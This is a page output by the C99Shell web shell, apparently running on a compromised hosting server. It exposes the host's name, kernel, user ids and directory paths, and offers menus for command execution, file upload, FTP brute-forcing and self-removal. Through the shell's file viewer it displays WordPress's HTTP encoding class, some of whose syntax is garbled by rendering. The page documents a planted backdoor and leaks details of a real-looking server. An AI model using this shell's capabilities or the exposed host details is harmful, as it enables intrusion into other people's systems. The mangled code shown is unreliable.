!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-includes/   drwxr-xr-x
Free 183.15 GB of 490.84 GB (37.31%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-wp-http-encoding.php (6.29 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * HTTP API: WP_Http_Encoding class
 *
 * @package WordPress
 * @subpackage HTTP
 * @since 4.4.0
 */

/**
 * Core class used to implement deflate and gzip transfer encoding support for HTTP requests.
 *
 * Includes RFC 1950, RFC 1951, and RFC 1952.
 *
 * @since 2.8.0
 */
class WP_Http_Encoding {

    
/**
     * Compress raw string using the deflate format.
     *
     * Supports the RFC 1951 standard.
     *
     * @since 2.8.0
     *
     * @static
     *
     * @param string $raw String to compress.
     * @param int $level Optional, default is 9. Compression level, 9 is highest.
     * @param string $supports Optional, not used. When implemented it will choose the right compression based on what the server supports.
     * @return string|false False on failure.
     */
    
public static function compress$raw$level 9$supports null ) {
        return 
gzdeflate$raw$level );
    }

    
/**
     * Decompression of deflated string.
     *
     * Will attempt to decompress using the RFC 1950 standard, and if that fails
     * then the RFC 1951 standard deflate will be attempted. Finally, the RFC
     * 1952 standard gzip decode will be attempted. If all fail, then the
     * original compressed string will be returned.
     *
     * @since 2.8.0
     *
     * @static
     *
     * @param string $compressed String to decompress.
     * @param int $length The optional length of the compressed data.
     * @return string|bool False on failure.
     */
    
public static function decompress$compressed$length null ) {

        if ( empty(
$compressed) )
            return 
$compressed;

        if ( 
false !== ( $decompressed = @gzinflate$compressed ) ) )
            return 
$decompressed;

        if ( 
false !== ( $decompressed self::compatible_gzinflate$compressed ) ) )
            return 
$decompressed;

        if ( 
false !== ( $decompressed = @gzuncompress$compressed ) ) )
            return 
$decompressed;

        if ( 
function_exists('gzdecode') ) {
            
$decompressed = @gzdecode$compressed );

            if ( 
false !== $decompressed )
                return 
$decompressed;
        }

        return 
$compressed;
    }

    
/**
     * Decompression of deflated string while staying compatible with the majority of servers.
     *
     * Certain Servers will return deflated data with headers which PHP's gzinflate()
     * function cannot handle out of the box. The following function has been created from
     * various snippets on the gzinflate() PHP documentation.
     *
     * Warning: Magic numbers within. Due to the potential different formats that the compressed
     * data may be returned in, some "magic offsets" are needed to ensure proper decompression
     * takes place. For a simple progmatic way to determine the magic offset in use, see:
     * https://core.trac.wordpress.org/ticket/18273
     *
     * @since 2.8.1
     * @link https://core.trac.wordpress.org/ticket/18273
     * @link https://secure.php.net/manual/en/function.gzinflate.php#70875
     * @link https://secure.php.net/manual/en/function.gzinflate.php#77336
     *
     * @static
     *
     * @param string $gzData String to decompress.
     * @return string|bool False on failure.
     */
    
public static function compatible_gzinflate($gzData) {

        
// Compressed data might contain a full header, if so strip it for gzinflate().
        
if ( substr($gzData03) == "\x1f\x8b\x08" ) {
            
$i 10;
            
$flg ordsubstr($gzData31) );
            if ( 
$flg ) {
                if ( 
$flg ) {
                    list(
$xlen) = unpack('v'substr($gzData$i2) );
                    
$i $i $xlen;
                }
                if ( 
$flg )
                    
$i strpos($gzData"\0"$i) + 1;
                if ( 
$flg 16 )
                    
$i strpos($gzData"\0"$i) + 1;
                if ( 
$flg )
                    
$i $i 2;
            }
            
$decompressed = @gzinflatesubstr($gzData$i, -8) );
            if ( 
false !== $decompressed )
                return 
$decompressed;
        }

        
// Compressed data from java.util.zip.Deflater amongst others.
        
$decompressed = @gzinflatesubstr($gzData2) );
        if ( 
false !== $decompressed )
            return 
$decompressed;

        return 
false;
    }

    
/**
     * What encoding types to accept and their priority values.
     *
     * @since 2.8.0
     *
     * @static
     *
     * @param string $url
     * @param array  $args
     * @return string Types of encoding to accept.
     */
    
public static function accept_encoding$url$args ) {
        
$type = array();
        
$compression_enabled self::is_available();

        if ( ! 
$args['decompress'] ) // Decompression specifically disabled.
            
$compression_enabled false;
        elseif ( 
$args['stream'] ) // Disable when streaming to file.
            
$compression_enabled false;
        elseif ( isset( 
$args['limit_response_size'] ) ) // If only partial content is being requested, we won't be able to decompress it.
            
$compression_enabled false;

        if ( 
$compression_enabled ) {
            if ( 
function_exists'gzinflate' ) )
                
$type[] = 'deflate;q=1.0';

            if ( 
function_exists'gzuncompress' ) )
                
$type[] = 'compress;q=0.5';

            if ( 
function_exists'gzdecode' ) )
                
$type[] = 'gzip;q=0.5';
        }

        
/**
         * Filters the allowed encoding types.
         *
         * @since 3.6.0
         *
         * @param array  $type Encoding types allowed. Accepts 'gzinflate',
         *                     'gzuncompress', 'gzdecode'.
         * @param string $url  URL of the HTTP request.
         * @param array  $args HTTP request arguments.
         */
        
$type apply_filters'wp_http_accept_encoding'$type$url$args );

        return 
implode(', '$type);
    }

    
/**
     * What encoding the content used when it was compressed to send in the headers.
     *
     * @since 2.8.0
     *
     * @static
     *
     * @return string Content-Encoding string to send in the header.
     */
    
public static function content_encoding() {
        return 
'deflate';
    }

    
/**
     * Whether the content be decoded based on the headers.
     *
     * @since 2.8.0
     *
     * @static
     *
     * @param array|string $headers All of the available headers.
     * @return bool
     */
    
public static function should_decode($headers) {
        if ( 
is_array$headers ) ) {
            if ( 
array_key_exists('content-encoding'$headers) && ! empty( $headers['content-encoding'] ) )
                return 
true;
        } elseif ( 
is_string$headers ) ) {
            return ( 
stripos($headers'content-encoding:') !== false );
        }

        return 
false;
    }

    
/**
     * Whether decompression and compression are supported by the PHP version.
     *
     * Each function is tested instead of checking for the zlib extension, to
     * ensure that the functions all exist in the PHP version and aren't
     * disabled.
     *
     * @since 2.8.0
     *
     * @static
     *
     * @return bool
     */
    
public static function is_available() {
        return ( 
function_exists('gzuncompress') || function_exists('gzdeflate') || function_exists('gzinflate') );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0225 ]--